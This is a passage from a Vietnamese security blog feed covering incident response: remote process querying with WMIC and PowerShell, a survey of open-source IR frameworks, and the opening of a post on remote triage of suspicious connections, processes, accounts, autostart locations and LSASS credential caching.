<pre><code class="language-powershell">$ Get-CimInstance -ClassName Win32_Process
</code></pre>
<p>Điểm khác biệt khi sử dụng Powershell truy cập vào các lớp này so với việc sử dụng WMIC đó là kết quả trả về là các đối tượng, chúng có những phương thức và thuộc tính, trường hợp này đối tượng của lớp <code>System.Diagnostics.Process</code></p>
<pre><code class="language-powershell">$ Get-Process | Get-Member

TypeName: System.Diagnostics.Process

Name                       MemberType     Definition
----                       ----------     ----------
Handles                    AliasProperty  Handles = Handlecount
Name                       AliasProperty  Name = ProcessName
..
Disposed                   Event          System.EventHandler Disposed(System.Object, System.EventArgs)
ErrorDataReceived          Event          System.Diagnostics.DataReceivedEventHandler ErrorDataReceived(System.Object, System.D...
..
BeginErrorReadLine         Method         void BeginErrorReadLine()
BeginOutputReadLine        Method         void BeginOutputReadLine()
..
BasePriority               Property       int BasePriority {get;}
Container                  Property       System.ComponentModel.IContainer Container {get;}
..
PSConfiguration            PropertySet    PSConfiguration {Name, Id, PriorityClass, FileVersion}
PSResources                PropertySet    PSResources {Name, Id, Handlecount, WorkingSet, NonPagedMemorySize, PagedMemorySize, ...
..
</code></pre>
<pre><code class="language-powershell">$ Get-CimInstance -ClassName Win32_Process | Get-Member

TypeName: Microsoft.Management.Infrastructure.CimInstance#root/cimv2/Win32_Process

Name                       MemberType     Definition
----                       ----------     ----------
Handles                    AliasProperty  Handles = Handlecount
ProcessName                AliasProperty  ProcessName = Name
..
Clone                      Method         System.Object ICloneable.Clone()
Dispose                    Method         void Dispose(), void IDisposable.Dispose()
..
Caption                    Property       string Caption {get;}
CommandLine                Property       string CommandLine {get;}
..
Path                       ScriptProperty System.Object Path {get=$this.ExecutablePath;}
</code></pre>
<p>Sử dụng kết hợp với các CmdLets lọc dữ liệu khác của Powershell như: <code>Where-Object</code>, <code>Select-Object</code>, <code>Format-Table</code>, <code>Format-List</code>,.v.v..</p>
<pre><code class="language-powershell">$ Get-CimInstance -ClassName Win32_Process | Format-Table -Property Name, ProcessId, ParentProcessId, CommandLine

Name                                ProcessId ParentProcessId CommandLine
----                                --------- --------------- -----------
System Idle Process                         0               0
System                                      4               0
Registry                                  124               4
smss.exe                                  484               4
csrss.exe                                 656             644
wininit.exe                               748             644
csrss.exe                                 756             740
services.exe                              820             748
lsass.exe                                 840             748 C:\Windows\system32\lsass.exe
winlogon.exe                              916             740 winlogon.exe
svchost.exe                               496             820 C:\Windows\system32\svchost.exe -k DcomLaunch -p
fontdrvhost.exe                           584             748 "fontdrvhost.exe"
fontdrvhost.exe                           596             916 "fontdrvhost.exe"
svchost.exe                               868             820 C:\Windows\system32\svchost.exe -k RPCSS -p
svchost.exe                              1044             820 C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
dwm.exe                                  1112             916 "dwm.exe"
...
</code></pre>
<p>Như vậy, Powershell cung cấp một công cụ linh hoạt, mềm dẻo, có tính mở rộng cao, hỗ trợ thực thi từ xa một cách an toàn, bảo mật. Ở các bài sau sẽ nói về cách mà Powershell hỗ trợ truy vấn các EventLog của Windows.</p>
<h1>3. Một số Incident Response Framework</h1>
<p>Các framework được thiết kế để tự động hóa và nâng cao hiệu quả của quá trình Incident Response:</p>
<ul>
<li><p><strong>KANSA - A Powershell incident response framework</strong></p>
<ul>
<li><p>Nhiều modules thu thập thông tin từ xa: ASEP, Configuration, Disk, IOC, Log, Memory, Net, và Process.</p>
</li>
<li><p>Dễ dàng tùy biến, chỉnh sửa mã nguồn để phù hợp với yêu cầu</p>
</li>
<li><p>Hoạt động tốt nhất trên Powershell 3.0 hoặc mới hơn</p>
</li>
<li><p>Kết hợp với công cụ khác để tăng hiệu quả. VD: Autorunsc ⇒ Thực chất là nó copy tệp thực thi lên các hệ thống từ xa sau đó thực thi và lấy kết quả về.</p>
</li>
<li><p>Hỗ trợ phân tích, so sánh, tương quan các kết quả sau đó tìm ra sự khác biệt ⇒ VD: Một phòng ban có 20 máy, do đặc thù chung bộ phận nên các máy cài đặt phần mềm giống nhau ⇒ Kh thực hiện truy vấn các máy tính nếu máy nào xuất hiện tiến trình lạ không xác định ⇒ dễ dàng biết được nó khác với các máy còn lại.</p>
</li>
<li><p>Tham khảo: <a href="https://github.com/davehull/Kansa">https://github.com/davehull/Kansa</a></p>
</li>
</ul>
</li>
<li><p><strong>TheHive - A Scalable, Open Source and Free Security Incident Response Platform</strong></p>
<ul>
<li><p>Được mô tả là 4 trong 1</p>
</li>
<li><p>Tích hợp với MISP</p>
</li>
<li><p>Hoạt động với Elasticsearch để lưu trữ và trực quan hóa dữ liệu</p>
</li>
<li><p>Tham khảo: <a href="https://github.com/TheHive-Project/TheHive">https://github.com/TheHive-Project/TheHive</a></p>
</li>
</ul>
</li>
<li><p><strong>GRR Rapid Response: remote live forensics for incident response</strong></p>
<ul>
<li><p>Phát triển bởi một nhóm tại Google, viết bằng Python</p>
</li>
<li><p>Hoạt động theo mô hình Client-Server. Phía Server sẽ tương tác với các hệ thống được cài đặt Agent</p>
</li>
<li><p>Thực hiện phân tích bộ nhớ từ xa, tích hợp YARA rules, tìm kiếm tệp tin, truy vấn hệ thống</p>
</li>
<li><p>Tham khảo: <a href="https://github.com/google/grr">https://github.com/google/grr</a></p>
</li>
</ul>
</li>
<li><p><strong>Velociraptor - Endpoint visibility and collection tool</strong></p>
<ul>
<li><p>Tác giả là một trong những người đóng góp chính cho dự án GRR Rapid Response và Rekall</p>
</li>
<li><p>Được thiết kế giảm đi sự “cồng kềnh” so với GRR nhưng vẫn phải mạnh mẽ trong ứng phó sự cố</p>
</li>
<li><p>Công cụ này viết bằng Golang</p>
</li>
<li><p>Tham khảo: <a href="https://github.com/Velocidex/velociraptor">https://github.com/Velocidex/velociraptor</a></p>
</li>
</ul>
</li>
<li><p><strong>Restrea2r - Collecting &amp; Hunting for IOCs with gusto and style</strong></p>
<ul>
<li><p>Tương tác với AV Console</p>
</li>
<li><p>Xử lý và thu thập các artifacts từ xa: memory dump, prefetch, browser history, .v.v..</p>
</li>
<li><p>Tích hợp YARA rules để quét các tệp hoặc memory</p>
</li>
<li><p>Kết hợp với các công cụ khác trong bộ Sysinternal suite để tăng hiệu quả.</p>
</li>
<li><p>Tham khảo: <a href="https://github.com/rastrea2r/rastrea2r">https://github.com/rastrea2r/rastrea2r</a></p>
</li>
</ul>
</li>
<li><p><strong>Fenrir - Simple Bash IOC Scanner</strong></p>
<ul>
<li><p>Quét hệ thống với các IOCs đã biết</p>
</li>
<li><p>Nó tương tự như THOR và LOKI</p>
</li>
<li><p>Hỗ trợ Linux, macOS</p>
</li>
<li><p>Tham khảo: <a href="https://github.com/Neo23x0/Fenrir">https://github.com/Neo23x0/Fenrir</a></p>
</li>
</ul>
</li>
<li><p><strong>Kolide Fleet/FleetDM - open-source Osquery Fleet Manager</strong></p>
<ul>
<li><p>Truy vấn thông tin hệ thống dựa trên OSQuery</p>
</li>
<li><p>Tương tự như việc truy vấn WMI/MI và còn nhiều hơn thế nữa.</p>
</li>
<li><p>Hiện tại dự án Kolide Fleet đã ngưng hỗ trợ. Một tùy chọn thay thế khác là: <a href="https://github.com/fleetdm/fleet">https://github.com/fleetdm/fleet</a></p>
</li>
</ul>
</li>
<li><p><strong>OSSEC - Host Intrusion Detection System</strong></p>
<ul>
<li><p>Hệ thống phát hiện xâm nhập dựa trên host</p>
</li>
<li><p>Cảnh báo tại các endpoint, giám sát toàn vẹn tệp tin, được sử dụng bởi Alientvault</p>
</li>
<li><p>OSSEC có cộng đồng sử dụng khá lớn.</p>
</li>
<li><p>Tham khảo: <a href="https://www.ossec.net/">https://www.ossec.net/</a></p>
</li>
</ul>
</li>
<li><p><strong>Wazuh - The Open Source Security Platform</strong></p>
<ul>
<li><p>Một giải pháp giám sát điểm cuối mới, đang dần phổ biến gần đây</p>
</li>
<li><p>Agent của nó được fork ra từ OSSEC và phát triển thêm các tính năng khác</p>
</li>
<li><p>Giải pháp này tuy miễn phí nguồn mở nhưng lại hỗ trợ khá nhiều tính năng và có thể kết hợp với nhiều hệ thống</p>
</li>
<li><p>Tham khảo: <a href="https://wazuh.com/">https://wazuh.com/</a></p>
</li>
</ul>
</li>
</ul>
<p>Hệ thống CNTT của mỗi tổ chức là không giống nhau, tùy thuộc vào điều kiện, chiến lược và nhu cầu của tổ chức mà quyết định những giải pháp nguồn mở hay thương mại nào được sử dụng. Với bất kỳ sản phẩm bảo mật nào trước khi triển khai cũng cần được đánh giá, thử nghiệm kỹ lưỡng.</p>
<h1>4. Kết luận</h1>
<p>Đối với người làm Incident Response, chỉ phân tích trên một hệ thống quy mô nhỏ là chưa đủ, bạn cần phải có những kỹ năng phân tích, đánh giá, xử lý trên một lượng lớn nhiều máy tính. Các công cụ như WMIC và Powershell sẽ giúp bạn trả lời những câu hỏi trong quá trình ứng phó sự cố ngay cả khi không có những công cụ/giải pháp ứng phó sự cố. Với giải pháp miễn phí nguồn mở như <strong>Kansa</strong> là đủ để giúp bạn tự động hóa các bước ứng phó sự cố trên hàng ngàn máy tính. Ngoài ra các giải pháp Agent-base rất có lợi thế khi cần xử lý một lượng lớn máy tính.</p>
<h1>5. Tham khảo</h1>
<ul>
<li>Steve Anson (2020). <em>Applied Incident Response</em>, John Wiley &amp; Sons, Inc</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[IR 102: Remote Triage]]></title><description><![CDATA[Sự cố bảo mật có thể được phát hiện trên một máy chủ, nhưng phạm vi của sự cố có thể lớn hơn rất nhiều. Khoanh vùng được phạm vi của sự cố, bao gồm số lượng các máy chủ đang bị ảnh hưởng và dễ bị ảnh ]]></description><link>https://blog.lehonghai.com/ir-102-remote-triage</link><guid isPermaLink="true">https://blog.lehonghai.com/ir-102-remote-triage</guid><dc:creator><![CDATA[Hai Le Hong]]></dc:creator><pubDate>Mon, 20 Dec 2021 10:05:00 GMT</pubDate><content:encoded><![CDATA[<p>Sự cố bảo mật có thể được phát hiện trên một máy chủ, nhưng phạm vi của sự cố có thể lớn hơn rất nhiều. Khoanh vùng được phạm vi của sự cố, bao gồm số lượng các máy chủ đang bị ảnh hưởng và dễ bị ảnh hưởng là một bước quan trọng trong bất kỳ cuộc ứng phó sự cố nào. Với kích thước và quy mô của các môi trường mạng hiện đại ngày nay: on-site, off-site, cloud-base,.. <strong>Remote Triage</strong> là một kỹ năng quan trọng đối với bất kỳ ai làm ứng phó sự cố.</p>
<p>Nhiều nhà cung cấp bán sản phẩm để giúp thực hiện quy trình này hiệu quả hơn và giảm thiểu các tác động đến môi trường mạng trong quá trình Triage như các giải pháp EDR, XDR, Endpoint,.. Ưu điểm là giúp chúng ta nhanh chóng xác định được phạm vi sự cố cũng như hỗ trợ rất nhiều trong quá trình IR, nhược điểm là các sản phẩm này thường đắt tiền và không phải lúc nào cũng có sẵn trong môi trường xảy ra sự cố. Tệ hơn là khi sự cố đã xảy ra rồi, nếu chúng ta mới bắt đầu cài đặt các giải pháp như vậy có thể dẫn đến những hậu quả như: trì hoãn quá trình ứng phó sự cố, ghi đè dữ liệu lên chứng cứ số, gây ra các cảnh báo hoặc "đánh động" tin tặc đang trong hệ thống.</p>
<h1>1. Tìm kiếm những thành phần độc hại</h1>
<p>Trong một số trường hợp, dữ liệu về <code>IOCs</code> xác định được trong quá trình ứng phó sự cố ban đầu hoặc trong quá trình phân tích sau đó có thể được sử dụng để xác định phạm vi của sự cố bảo mật. Sự tồn tại của một <strong>tiến trình</strong> lạ hay xuất hiện <strong>Registry key</strong> khả nghi, giá trị <strong>băm</strong> của một tệp thực thi,.v.v. đều có thể được dùng làm IOCs để rà quét hệ thống của tổ chức nhằm nhanh chóng xác định các hệ thống bị ảnh hưởng.</p>
<h3>1.1. Các kết nối độc hại</h3>
<p>Trong hầu hết các cuộc tấn công, tin tặc sẽ tạo ra các kết nối mạng, có thể là kết nối tuồn dữ liệu đánh cắp được ra ngoài, các kết nối điều khiển với C2 Server hoặc các kết nối giữa các hệ thống nội bộ của nạn nhân vì những “chuyển động” này cho thấy tin tặc đang tiến thành dò quét, do thám các hệ thống.</p>
<p>Để hoạt động của mình trở nên khó phát hiện hơn, tin tặc sẽ không thực hiện kết nối liên tục về C2 Server, thay vào đó các kết nối sẽ được thực hiện định kỳ. Một số công cụ miễn phí dùng trong giám sát giúp xác định các kết nối độc hại và thống kê về các kết nối mạng:</p>
<ul>
<li><p>Security Onion: <a href="https://securityonionsolutions.com/">https://securityonionsolutions.com/</a></p>
</li>
<li><p>Real Intelligence Threat Analytics (RITA): <a href="https://github.com/activecm/rita">https://github.com/activecm/rita</a></p>
</li>
</ul>
<p>Trong một hệ thống CNTT, các kết nối phổ biến nhất có thể là <code>HTTP</code>, <code>HTTPS</code> và <code>DNS</code>. Do vậy tin tặc thường sử dụng các giao thức này cho các lưu lượng của mình nhằm tránh bị phát hiện dễ dàng. <strong>RITA</strong> là một công cụ phân tích lưu lượng mạng dựa trên CSDL của <a href="https://zeek.org/"><strong>Zeek</strong></a>, nó sẽ phân tích tần suất xuất hiện của một kết nối, kích thước gói tin, lượng gửi/nhận dữ liệu, thời gian và nhiều yếu tố khác để xác định đâu là lưu lượng độc hại. Quá trình ứng phó sự cố có thể gặp khó với các hệ thống sử dụng lưu lượng HTTPS, các DNS Logs hay Proxy Logs có thể sẽ hữu dụng trong trường hợp này. Khi phân tích một hệ thống bị thỏa hiệp có thể sẽ sử dụng một Web Proxy tương tác như: BurpSuite, Zed Attack Proxy (ZAP).</p>
<p>Ngoài ra các dạng kết nối khác cũng phổ biến trong mạng cũng cần được xem xét kỹ lưỡng, bất kỳ tài khoản nào khởi tạo các kết nối không rõ ràng đều phải được kiểm tra chi tiết hơn để xác định xem hành động có hợp pháp hay không.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/258b3209-62e6-4605-869a-573738fa12a8.png" alt="" style="display:block;margin:0 auto" />

<p>Common lateral movement connection ports</p>
<h3>1.2. Các tiến trình bất thường</h3>
<p>Đối với kẻ tấn công để có thể thực thi mã (rce) được trên hệ thống nạn nhân thì mã đó phải tồn tại trong ngữ cảnh của một tiến trình. Một tiến trình có thể được coi là một container chứa code và các tài nguyên hệ thống mà nó phụ thuộc.</p>
<p>💡 Một tiến trình có thể được coi là một `container` chứa code và các tài nguyên hệ thống mà nó phụ thuộc, tiến trình được cấp phát vùng nhớ chuyên dụng, có handle cho các tài nguyên (file, registry,..). Mỗi tiến trình được gán một ID duy nhất và được tham chiếu đến một tiến trình khác đã tạo ra nó (tiến trình cha). Cuối cùng, một tiến trình sẽ có ít nhất một luồng thực thi có khả năng thực hiện các lệnh trên CPU</p>
<p>Vì mã của kẻ tấn công phải tồn tại trong một tiến trình trên hệ thống ⇒ Nhiều quản trị viên ngay lập tức sẽ kiểm tra bằng cách sử dụng các lệnh như <code>ps</code> hoặc <code>tasklist</code> để lấy danh sách các tiến trình trên hệ thống, tuy nhiên không phải lúc nào cũng may mắn mà phát hiện ngay được tiến trình nào là độc hại vì các tiến trình độc hại có thể được đặt tên giống với các tiến trình chuẩn. Do đó, để phát hiện được tiến trình độc hại, trước tiên quản trị viên cần phải có ý tưởng về những tiến trình chạy trên hệ thống như: hồ sơ về lịch sử các tiến trình trên hệ thống ở thời điểm máy "sạch". Hãy nhớ rằng, hành động phát hiện ra sự cố thường liên quan đến việc nhận thấy độ lệch so với bình thường. Để nhận ra được sự sai lệch này thì trước tiên bạn phải biết được khi bình thường thì trông nó như thế nào.</p>
<p>💡 Trên HĐH Windows, khi kiểm tra các tiến trình ở bất kỳ thời điểm nào cũng sẽ thấy xuất hiện rất nhiều tiến trình có tên là `svchost.exe`. Đây là một tiến trình đặc biệt trên Windows, được thiết kế để chạy các dịch vụ dưới dạng DLL, khi một dịch vụ được khởi chạy, tiến trình `svchost` sẽ nạp DLL đó vào vùng nhớ của mình và thực thi. Vì trên HĐH Windows có nhiều dịch vụ được chạy nên dẫn đến việc có rất nhiều tiến trình `svchost.exe` xuất hiện.</p>
<p>Những kẻ tấn công cũng có thể đặt tên của tiến trình độc hại giống với tiến trình chuẩn là <code>svchost.exe</code>, khi đó kết quả trả về của <code>tasklist</code> hay <code>ps</code> sẽ làm cho quản trị viên khó có thể xác định đâu mới là tiến trình độc hại ⇒ Để phát hiện các tiến trình độc hại dạng này, cần phải xác định vị trí của tiến trình được thực thi, tiến trình độc hại có thể đặt tên trùng với tiến trình chuẩn nhưng không thể đặt tại ví trí trùng với tiến trình chuẩn. Một ví dụ sau sẽ cung cấp chi tiết các tiến trình của hệ thống kèm <code>commandline</code> sẽ xác định được vị trí của tiến trình:</p>
<pre><code class="language-bash">$ wmic process where name="svchost.exe" get name, processid, parentprocessid, commandline
CommandLine                                                                                     Name         ParentProcessId  ProcessId
C:\Windows\system32\svchost.exe -k DcomLaunch -p                                                svchost.exe  868              1008
C:\Windows\system32\svchost.exe -k RPCSS -p                                                     svchost.exe  868              924
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM                                         svchost.exe  868              1088
**C:\Users\John\Downloads\svchost.exe                                                             svchost.exe  6096             4204**
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC                                         svchost.exe  868              1224
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts                  svchost.exe  868              1264
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService                svchost.exe  868              1304
...
</code></pre>
<p>💡 Trên HĐH Windows, tên tệp tin và tên thư mục không phân biệt hoa thường, điều này ngược lại với các hệ thống Linux/UNIX vì chúng phân biệt hoa thường.</p>
<p>Khi hệ thống hoạt động ở trạng thái được cho là bình thường, quản trị viên cần theo dõi, lưu lại các bản chụp danh sách các tiến trình trên hệ thống "sạch", đây sẽ là dữ liệu cùng quan trọng khi có sự cố xảy ra. Trong quá trình ứng phó sự cố, người thực hiện xử lý sự cố khi kiểm tra các tiến trình phải dựa vào nhiều đặc điểm, chi tiết khác nhau để xác định tính hợp pháp của tiến trình:</p>
<ul>
<li><p>Thông tin về đường dẫn của tiến trình có bất thường không</p>
</li>
<li><p>Thông tin tin về các tiến trình cha-con có bất thường không</p>
</li>
<li><p>Thời gian tiến trình được khởi chạy có bất thường không</p>
</li>
<li><p>Các thư viện mà tiến trình nạp vào có bất thường không</p>
</li>
<li><p>Chữ ký số của tệp, thông tin chủ sở hữu, nhà sản xuất phần mềm,..</p>
</li>
<li><p>Xác định các kỹ thuật nâng cao: DLL Injection, Process Hollowing, Code Caving,..</p>
</li>
<li><p>...</p>
</li>
</ul>
<p>💡 Trên HĐH **Windows**, không thể xóa một tệp thực thi khi mà nó đang được chạy, ngược lại trên các hệ thống **`*nix`** khi một tiến trình đang chạy vẫn có thể xóa tệp thực thi của chúng, khi đó chúng vẫn tồn tại trên bộ nhớ RAM.</p>
<h3>1.3. Các cổng bất thường</h3>
<p>Tương tự như kiểm tra Process, với các Port đang được mở để lắng nghe các kết nối trên hệ thống cũng cần được theo dõi, lập hồ sơ, lưu lại bản chụp tại thời điểm hệ thống được cho là "sạch".</p>
<pre><code class="language-bash"># Windows
$ netstat -anob

# Linux
$ netstat -anp
</code></pre>
<p>Sử dụng một công cụ như Nmap (<a href="https://nmap.org/">https://nmap.org/</a>) để quét mạng từ bên ngoài sau đó xác định các Port đang mở cũng là một cách hay trong trường hợp đã kiểm tra trên hệ thống nhưng không thể xác định được port nghi ngờ đang mở, rất có thể hệ thống đã bị lây nhiễm và đã bị ẩn đi bởi <strong>Rootkits</strong>. Ngoài ra có thể phân tích dữ liệu mạng bằng các công cụ như NetFlow/IPFIX hoặc Zeek logs để xác định các cổng bất thường.</p>
<h3>1.4. Các dịch vụ bất thường</h3>
<p>Các dịch vụ trên hệ thống là những chương trình đặc biệt, chúng không tương tác trực tiếp với người dùng. Các dịch vụ có cơ chế tự động khởi chạy khi hệ thống được bật, vì vậy tin tặc luôn muốn lợi dụng cơ chế này để duy trì được cơ chế persistent trên hệ thống. Tương tự như Process và Port, cũng cần duy trì một hồ sơ các dịch vụ chạy ở trạng thái máy "sạch”.</p>
<p>💡 Rogue Accounts</p>
<p>Xác định các tài khoản không thuộc về hệ thống hoặc đang được sử dụng không đúng mục đích, bất hợp pháp so với hành vi cùa người dùng hợp pháp là bước quan trọng trong ứng phó sự cố. Hệ thống cần được phân tích để xác định các tài khoản mới tạo ở cả Local và Domain, các tài khoản đã tạo trước đó nhưng chưa được kích hoạt (VD: Nhân viên đã nghỉ việc), các nhóm người dùng có đặc quyền cao (VD: Các nhóm quản trị viên).</p>
<p>💡 Nguyên tắc đặc quyền tối thiểu. Các tài khoản chỉ nên được cấp đặc quyền tối thiểu, đủ để thực hiện công việc của họ. Những tài khoản được cấp đặc quyền chỉ nên được sử dụng từ máy trạm được bảo mật tốt, những máy trạm này không được dùng chung hay sử dụng đa mục đích. VD: Không nên vừa để duyệt web, vừa dùng email, hay các hoạt động rủi do cao khác,.v.v..</p>
<p>Tham khảo:</p>
<ul>
<li><p>Just Enough Administration - <a href="https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/jea/overview">https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/jea/overview</a></p>
</li>
<li><p>Protected Users Security Group - <a href="https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group">https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group</a></p>
</li>
</ul>
<p>Xác định các tài khoản đáng ngờ có những hoạt động bất thường, ví dụ: tài khoản được sử dụng để cố gắng thử đăng nhập ở nhiều máy khác nhau. Công cụ <code>LogonTracer</code> của JPCERTCC giúp chúng ta hình dung được các hoạt động đăng nhập của người dùng:</p>
<ul>
<li>LogonTracer - <a href="https://github.com/JPCERTCC/LogonTracer">https://github.com/JPCERTCC/LogonTracer</a></li>
</ul>
<p>Kerberoasting (sẽ thảo luận trong các bài sau) là một kỹ thuật được sử dụng để xác định mật khẩu của các tài khoản dịch vụ được tạo thủ công, nó sử dụng công cụ bẻ khóa mật khẩu như <code>Hashcat</code>. Để phòng tránh, các tài khoản dịch vụ phải được quản lý bởi <strong>Managed Service Accounts (MSAs)</strong>. Cách tiếp cận này giúp cho các mật khẩu có độ phức tạp cao và ngăn chặn sử dụng các tài khoản này để tương tác.</p>
<p>Trên các hệ thống UNIX/Linux, ngoài nhóm người dùng cũng cần lưu ý đến ID người dùng. VD: ID bằng 0 là tài khoản người dùng có đặc quyền cao. Tệp <code>/etc/passwd</code> cần được chú ý với bất kỳ tương tác nào, các tài khoản chạy các dịch vụ trên hệ thống, chúng không nên được phép đăng nhập vào hệ thống một cách trực tiếp, trong tệp <code>/etc/passwd</code> nếu xuất hiện tài khoản có <code>login shell</code> mà dùng để chạy các daemon process thì rất đáng nghi ngờ. Ngoài ra cũng cần kiểm tra Pluggable Authentication Modules (PAMs), nó được dùng để xác thực tài khoản, kiểm tra các tệp cấu hình của PAM.</p>
<h3>1.5. Các tệp tin bất thường</h3>
<p>Hệ thống tệp tin có thể bị sửa đổi nhằm ẩn đi các công cụ độc hại của tin tặc, các tệp thực thi nếu nằm ở những thư mục tạm thời có thể rất đáng ngờ. Kẻ tấn công có thể che giấu tệp độc hại bằng việc thay đổi thành phẩn mở rộng của tệp tin (Windows). Trên các hệ thống tệp tin NTFS, mỗi tệp tin sẽ có nhiều thuộc tính khác nhau, các bài sau sẽ nói về Alternate Data Streams (ADS) thường bị lợi dụng để ẩn dữ liệu trên các hệ thống NTFS. Phần trước đã đề cập đến việc tin tặc có thể giả mạo tên của các tiến trình chuẩn, trong quá trình kiểm tra cần theo dõi cả đường dẫn tệp thực thi, tuy nhiên cũng có trường hợp tin tặc đặt tên với ý đồ gây nhầm lẫn, tên gần giống với tiến trình chuẩn và đặt cùng đường dẫn thực thi với tiến trình chuẩn. VD: <code>scvhost</code></p>
<p>Trên các hệ thống UNIX/Linux, cho phép đặt tên với nhiều bộ ký tự hơn và điều này thường bị lạm dụng bởi tin tặc. VD: Đặt tên tệp là 1 ký tự khoảng trắng, đặt tên tệp với chữ hoa-thường giống với tiến trình chuẩn.</p>
<h3>1.6. Các chương trình khởi động cùng hệ thống</h3>
<p>Trên cả HĐH Windows, và UNIX/Linux sẽ có những vị trí đặt tệp hoặc những cấu hình mà cho phép chương trình được khởi chạy cùng hệ thống. Với Windows, một trong những cách đơn giản nhất đó là thêm vào một khóa Registry với giá trị trỏ đến đường dẫn của tệp thực thi, ví dụ một số vị trí có thể tạo khóa Registry khởi động chương trình cùng hệ thống:</p>
<ul>
<li><p><strong>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</strong></p>
</li>
<li><p><strong>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</strong></p>
</li>
</ul>
<p>Sử dụng công cụ <strong>Autoruns</strong> trong bộ <strong>Sysinternal Suites</strong> của Microsoft có thể kiểm tra được rất nhiều autostart location: startup folder, registry keys, browser helper object, explorer shell extension, scheduled task,.v.v.. Trên UNIX/Linux cũng có nhiều cách để khởi chạy cùng hệ thống; Crontab, Systemd, init.d,.v.v..</p>
<ul>
<li><strong>Autoruns:</strong> <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns">https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns</a></li>
</ul>
<p>💡 Hiểu về các kỹ thuật tấn công có thể giúp ích rất nhiều cho bạn trong việc xác định các dấu vết của hoạt động độc hại. **ATT&amp;CK Matrix** đã phân loại các hành động của những kẻ tấn công thành các nhóm chiến thuật khác nhau, mỗi nhóm mô tả chi tiết các kỹ thuật của hacker.</p>
<h1>2. Bảo vệ thông tin khi ứng phó sự cố</h1>
<p>Khi ứng phó sự cố, chúng ta sẽ phải đối mặt với nhiều loại thông tin khác nhau, cần phải có một phương thức để tìm kiếm thông tin từ xa. Trước tiên cần phải học cách làm sao để khi ứng phó sự cố chúng ta không vô tình làm cho sự cố trở lên nghiêm trọng hơn. Ở phần trước đã đề cập đến việc hacker sẽ chủ động tìm kiếm thông tin đăng nhập có đặc quyền cao để sử dụng trong quá trình chúng tấn công, xác thực các hệ thống khác. Trong quá trình ứng phó sự cố, người ứng phó sử dụng các tài khoản có đặc quyền cao để truy vấn các hệ thống từ xa, phân tích bộ nhớ hay các hệ thống bị ảnh hưởng ⇒ Chúng ta phải nhận thức được rằng, việc sử dụng các tài khoản đặc quyền cao này trên một hệ thống có khả năng hoặc đã bị xâm phạm sẽ có nguy cơ bị đánh cắp bởi hacker.</p>
<h3>2.1. Hiểu về đăng nhập tương tác</h3>
<p>Logon tương tác liên quan đến người dùng trực tiếp cung cấp thông tin xác thực cho một hệ thống. VD: Đăng nhập bằng username/password vào giao diện đăng nhập (<code>LogonUI.exe</code>). <code>LogonUI.exe</code> sẽ nhận được tên người dùng và mật khẩu sau đó chuyển chúng đến <strong>Local Security Authority Subsystem Service (LSASS)</strong>. LSASS thực hiện việc băm mật khẩu nó nhận được (NTLM) và so sánh kết quả sau khi băm với mật khẩu đã băm được lưu trong <strong>Security Accounts Manager (SAM)</strong>, nếu chúng khớp nhau thì xác thực được coi là thành công.</p>
<p>Với môi trường <strong>Domain</strong>, quá trình xác thực diễn có chút khác biệt so với Local. <code>LogonUI.exe</code> vẫn chuyển thông tin xác thực đến cho LSASS, LSASS vẫn tính toán băm nhưng thay vì nó so sánh với băm đã lưu trong SAM thì nó sẽ sử dụng các chức năng trong thư viện <code>Kerberos.dll</code> để gửi yêu cầu xác thực đến Domain Controller. Khi xác thực thành công, Domain Controller sẽ cấp vé <strong>Kerberos ticket-granting ticket (TGT)</strong> cho LSASS, vé này có thời gian hiệu lực nhất định (mặc định 10 tiếng).</p>
<p><strong>Bất kỳ cơ chế xác thực nào được sử dụng thì LSASS vẫn lưu trữ giá trị</strong> <code>NT Hash</code> <strong>đã được tính toán và vé</strong> <code>TGT</code> <strong>nhận được từ Domain Controller trong không gian bộ nhớ của nó (RAM)</strong>, điều này mục đích hỗ trợ cơ chế đăng nhập một lần của Microsoft (Single sign-on): Khi mà phiên đăng nhập đó chưa hết hạn thì người dùng sẽ không cần phải nhập lại thông tin đăng nhập để xác thực, LSASS sẽ sử dụng giá trị NT Hash hoặc Kerberos ticket-granting ticket (TGT) để “thay mặt” người dùng xác thực khi cần thiết.</p>
<p>Mặc dù cơ chế SSO này thuận tiện cho người dùng nhưng cần hiểu rõ rủi do sau: Giá trị <strong>NT Hash</strong> được sử dụng để thực hiện xác thực trong môi trường Windows ⇒ Sở hữu giá trị NT Hash không khác gì sở hữu mật khẩu của người dùng. Một điểm nữa, LSASS sử dụng NT Hash lưu trên bộ nhớ để mã hóa các Challenges trả về từ các hệ thống, với tài khoản Local sử dụng NT Hash trong SAM để mã hóa Challenges. Nếu Encrypted Challenges được tính toán tại Local khớp với Remote thì quyền truy cập được xác thực. Tương tự với TGT, nó được coi như tấm “hộ chiếu” của người dùng trong mạng, khi người dùng muốn truy cập hệ thống từ xa thì chỉ cần trình ra “hộ chiếu” cùng với quyền yêu cầu truy cập. Như vậy kẻ tấn công thường lợi dụng để mạo danh người dùng đã xác thực trong thời gian TGT chưa hết hạn, cộng thêm Domain Controller cũng không xác nhận xem người dùng có quyền truy cập vào tài nguyên hay không mà thay vào đó nó mã hóa các quyền truy cập bằng khóa bí mật được chia sẻ với các dịch vụ ⇒ Đây là cơ sở cho tấn công <strong>Kerberoasting</strong> sẽ trình bày chi tiết trong các bài sau.</p>
